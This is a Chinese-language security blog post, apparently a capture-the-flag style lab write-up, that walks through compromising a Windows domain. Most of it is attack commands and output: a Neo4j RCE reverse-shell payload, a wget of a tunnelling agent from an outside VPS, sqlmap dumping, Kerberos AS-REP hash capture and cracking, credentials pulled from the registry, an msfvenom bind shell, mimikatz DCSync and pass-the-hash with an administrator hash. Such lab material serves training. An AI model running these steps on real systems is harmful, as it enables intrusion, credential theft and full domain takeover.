长亭百川云 - 文章详情

域渗透实战:靶机全流程攻略

LHACK安全

43

2024-06-17

前言:本文中涉及到的技术,只提供思路,严禁用于违法测试

    朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把LHACK安全“设为星标”,否则可能就看不到了啦!

当然哦,还是用靶机吧,希望大家都保护好自己,哈哈哈
文末有福利哈!!!

**0x01、**开启环境


0x02、web打点

fscan扫扫,还是挺好用,挺方便的。

fscan.exe -h 39.101.173.156
start vulscan
已完成 0/6 [-] webtitle http://39.101.173.156:7473 Get "http://39.101.173.156:7473": net/http: HTTP/1.x transport connection broken: malformed HTTP response "\x15\x03\x03\x00\x02\x02P"
[*] WebTitle:http://39.101.173.156:7474  code:200 len:145    title:None
[*] WebTitle:http://39.101.173.156:7687  code:400 len:0      title:None

发现端口存活,查看,7474、7687端口可以看出是neo4j,直接执行命令。

查找payload,neo4j 未授权RCE。

https://github.com/zwjjustdoit/CVE-2021-34371.jar
java -jar rhino_gadget.jar rmi://39.101.173.156:1337 "bash -c {echo,xxxxx}|{base64,-d}|{bash,-i}"

成功接收到反弹的shell,拿到了webshell。

0x03、内网信息收集

查找flag文件。

find / -name flag*

cat /home/neo4j/flag01.txt

拿到flag1。

继续查找别的信息,查看有一个内网的网段。

ip a

0x04、内网穿透

使用我们Venom工具来进行内网穿透,还是挺好用的,一行命令就解决了。

https://github.com/Dliv3/Venom
python3 -m http.server 8888

使用http.server建立一个简单的文件传输。

wget http://8.137.xx.xx:8888/agent_linux_x86
vps上:
     ./admin_linux_x64 -lport 8888
     goto 1
     sockes 1080
内网机器:./agent_linux_x86 -rhost xx.xx.xx.xx -rport 8888

这样就可以使用端口1080,进行代理访问内网。

文件放在/tmp目录下,这个目录权限比较高,便于操作。(记得chmod)

通过同样的方式上传fscan工具,通过分析得到如下结果。

neo4j@ubuntu:~$ ./fscan -h 172.22.6.0/24
./fscan -h 172.22.6.0/24
   ___                              _
/ _ \     ___  ___ _ __ __ _  ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
    \____/     |___/\___|_|  \__,_|\___|_|\_\
fscan version: 1.8.2
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.6.12     is alive
(icmp) Target 172.22.6.25     is alive
(icmp) Target 172.22.6.36     is alive
(icmp) Target 172.22.6.38     is alive
[*] Icmp alive hosts len is: 4
172.22.6.25:445 open
172.22.6.12:445 open
172.22.6.12:139 open
172.22.6.25:139 open
172.22.6.25:135 open
172.22.6.12:135 open
172.22.6.38:80 open
172.22.6.38:22 open
172.22.6.12:88 open
172.22.6.36:7687 open
172.22.6.36:22 open
[*] alive ports len is: 11
start vulscan
[*] NetInfo:
[*]172.22.6.12
   [->]DC-PROGAME
   [->]172.22.6.12
[*] NetInfo:
[*]172.22.6.25
   [->]WIN2019
   [->]172.22.6.25
[*] 172.22.6.12  (Windows Server 2016 Datacenter 14393)
[*] NetBios: 172.22.6.25     XIAORANG\WIN2019
               [*] WebTitle: http://172.22.6.38        code:200 len:1531   title:后台登录
[*] NetBios: 172.22.6.12     [+]DC DC-PROGAME.xiaorang.lab       Windows Server 2016 Datacenter 14393
 [*] WebTitle: https://172.22.6.36:7687  code:400 len:50     title:None
172.22.6.12     域控
172.22.6.25     域内机器
172.22.6.36     当前机器
172.22.6.38     某后台登录界面

0x05、内网渗透

访问这个后台登录界面,查看有无利用点。

抓包看看。使用火狐代理。

发现sql注入,使用sqlmap进行自动探测。

配置kali中得proxychains,使用sockes5代理,上篇文章也有例子。

sqlmap -r 1.txt --dump -T oa_f1Agggg -D oa_db  -batch

把users表中的用户名收集成字典username.txt,将下面命令生成的csv粘贴到usersname.txt里

proxychains sqlmap -r 1.txt --dump -D oa_db -T oa_users -C email

0x06、域用户枚举

在kerberos的AS-REQ认证中当cname值中的用户不存在时返回包提示KDC_ERR_C_PRINCIPAL_UNKNOWN,所以当我们没有域凭证时,可以通过Kerberos pre-auth从域外对域用户进行用户枚举

proxychains ./kerbrute_linux_amd64 userenum --dc 172.22.6.12 -d xiaorang.lab username.txt -t 10

得到两个账号 wenshao@xiaorang.labzhangxin@xiaorang.lab

$krb5asrep$23$wenshao@xiaorang.lab@XIAORANG.LAB:b6c410706b5e96c693b2fc61ee1064c3$2dc9fbee784e7997333f30c6bc4298ab5752ba94be7022e807af418c11359fd92597e253752f4e61d2d18a83f19b5c9df4761e485853a3d879bcf7a270d6f846683b811a80dda3809528190d7f058a24996aff13094ff9b32c0e2698f6d639b4d237a06d13c309ce7ab428656b79e582609240b01fb5cd47c91573f80f846dc483a113a86977486cecce78c03860050a81ee19921d3500f36ff39fa77edd9d5614cf4b9087d3e42caef68313d1bb0c4f6bc5392943557b584521b305f61e418eb0f6eb3bf339404892da55134cb4bf828ac318fe00d68d1778b7c82caf03b65f1938e54ed3fa51b63cdb2994
 $krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:971802b84ce99050ad3c5f49d11fd0b7$6c1be075c3cf2a7695529de2ebbf39c5ec7e5326c9d891dac2107b239892f76befe52c860e4e1e2ff6537a5765a6bcb6b8baca792d60765ac0bbe1b3c5e59f3ec51b7426636a437d5df12130eb68d9b17ef431455415671c7331a17ce823e28cc411677bed341d3fceefc3451b8b232ea6039661625a5c793e30c4d149b2ed9d2926e9d825b3828744ebce69e47746994c9a749ceeb76c560a1840bc74d2b9f301bb5b870c680591516354460dab2238e7827900ed80320dd3a6f46874b1bc8a3a68aea7bd11d0683ec94103f59d9511691090928e98d0d8978f511e71fd9db0067fa0d450c120f3726918d7

使用hashcat爆破,

hashcat -m 18200 --force -a 0 '$krb5asrep$23$wenshao@xiaorang.lab@XIAORANG.LAB:b6c410706b5e96c693b2fc61ee1064c3$2dc9fbee784e7997333f30c6bc4298ab5752ba94be7022e807af418c11359fd92597e253752f4e61d2d18a83f19b5c9df4761e485853a3d879bcf7a270d6f846683b811a80dda3809528190d7f058a24996aff13094ff9b32c0e2698f6d639b4d237a06d13c309ce7ab428656b79e582609240b01fb5cd47c91573f80f846dc483a113a86977486cecce78c03860050a81ee19921d3500f36ff39fa77edd9d5614cf4b9087d3e42caef68313d1bb0c4f6bc5392943557b584521b305f61e418eb0f6eb3bf339404892da55134cb4bf828ac318fe00d68d1778b7c82caf03b65f1938e54ed3fa51b63cdb2994' rockyou.txt

得到密码:hellokitty

hashcat -m 18200 --force -a 0 '$krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:971802b84ce99050ad3c5f49d11fd0b7$6c1be075c3cf2a7695529de2ebbf39c5ec7e5326c9d891dac2107b239892f76befe52c860e4e1e2ff6537a5765a6bcb6b8baca792d60765ac0bbe1b3c5e59f3ec51b7426636a437d5df12130eb68d9b17ef431455415671c7331a17ce823e28cc411677bed341d3fceefc3451b8b232ea6039661625a5c793e30c4d149b2ed9d2926e9d825b3828744ebce69e47746994c9a749ceeb76c560a1840bc74d2b9f301bb5b870c680591516354460dab2238e7827900ed80320dd3a6f46874b1bc8a3a68aea7bd11d0683ec94103f59d9511691090928e98d0d8978f511e71fd9db0067fa0d450c120f3726918d7' rockyou.txt

得到密码:strawberry

总结一下得到的账户和密码

zhangxin@xiaorang.lab/strawberry
wenshao@xiaorang.lab/hellokitty

然后我们换上全局代理,这里我们从venom代理换成frp,frp相比较venom,全局代理会比较稳定,所以这块的操作我就使用frp代理,配合使用proxifier,挂全局代理。

0x07、远程登陆

使用账号和密码,登录了172.22.6.25,然后查看一下用户

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
DefaultUserName    REG_SZ    yuxuan
DefaultPassword    REG_SZ    Yuxuan7QbrgZ3L
DefaultDomainName    REG_SZ    xiaorang.lab

这样就抓到了yuxuan密码

然后我们用BloodHound看一下域里面的结构

先把SharpHound.exe传到内网机中,然后

SharpHound.exe -c all

然后就可以得到BloodHound需要导入的json文件

在kali上面起一个BloodHound

neo4j start
 //开启neo4j
bloodhound

上传这个文件

我可以利用这个工具得知我们要攻击的具体路径和大题思路

我可以看到,在172.22.6.25这个用户机,运行登录的用户有三个

windows自动登录

HasSession:用户与计算机时进行会话时,凭据会保留在内存中,说明yuxuan这个用户登录过WIN2019

很多用户习惯将计算机设置自动登录,可以使用MSF抓取自动登录的用户名和密码

先生成一个正向的shell

msfvenom -p windows/meterpreter/bind_tcp -f exe -o shy.exe

然后上传到目标机器 win2019 (172.22.6.25)上运行

使用代理运行msf然后连接

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 172.22.6.25
run

发现这种方式不太能行得通

0x08、哈希传递拿下域控

HasSIDHistory:用户的SID历史记录,用户在域迁移后,票据还包含着前域所在组的SID,虽然用户不属于前域,但仍拥有前域的权限

使用yuxuan这个用户抓Administrator的哈希

mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit

我拿到管理员的哈希,就相当于拿下了域控,我们哈希传递一些就可以拿到flag

proxychains python3 smbexec.py -hashes :04d93ffd6f5f6e4490e0de23f240a5e9 administrator@172.22.6.12
type C:\Users\Administrator\flag\flag*

proxychains python3 smbexec.py XIAORANG/administrator@172.22.6.25  -hashes :04d93ffd6f5f6e4490e0de23f240a5e9
type C:\Users\Administrator\flag\flag*

0x09、总结

web打点-->拿到webshell-->内网穿透-->内网渗透-->域用户枚举-->远程登陆连接-->hash传递-->拿下域控

以上为我的一些做题笔记,大佬勿喷。也不乏我参考了别的大佬写的wp。

感谢各位大佬们关注LHACK安全,正在努力的进步中,后续会坚持更新渗透漏洞思路分享、好用工具分享以及挖掘SRC思路等文章,希望能得到各位师傅们的关注与支持。想要加交流群的师傅,主页加我,备注加群。

公众号主页回复:内网渗透,领取资料。

往期回顾

一次完整的实战域渗透 

大型战役——>渗透实战(七)

直接上战场——>渗透实战(六)

来拿枪杆子——>渗透实战(五)

后台还有很多靶机,感兴趣的师傅们可以玩一玩。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2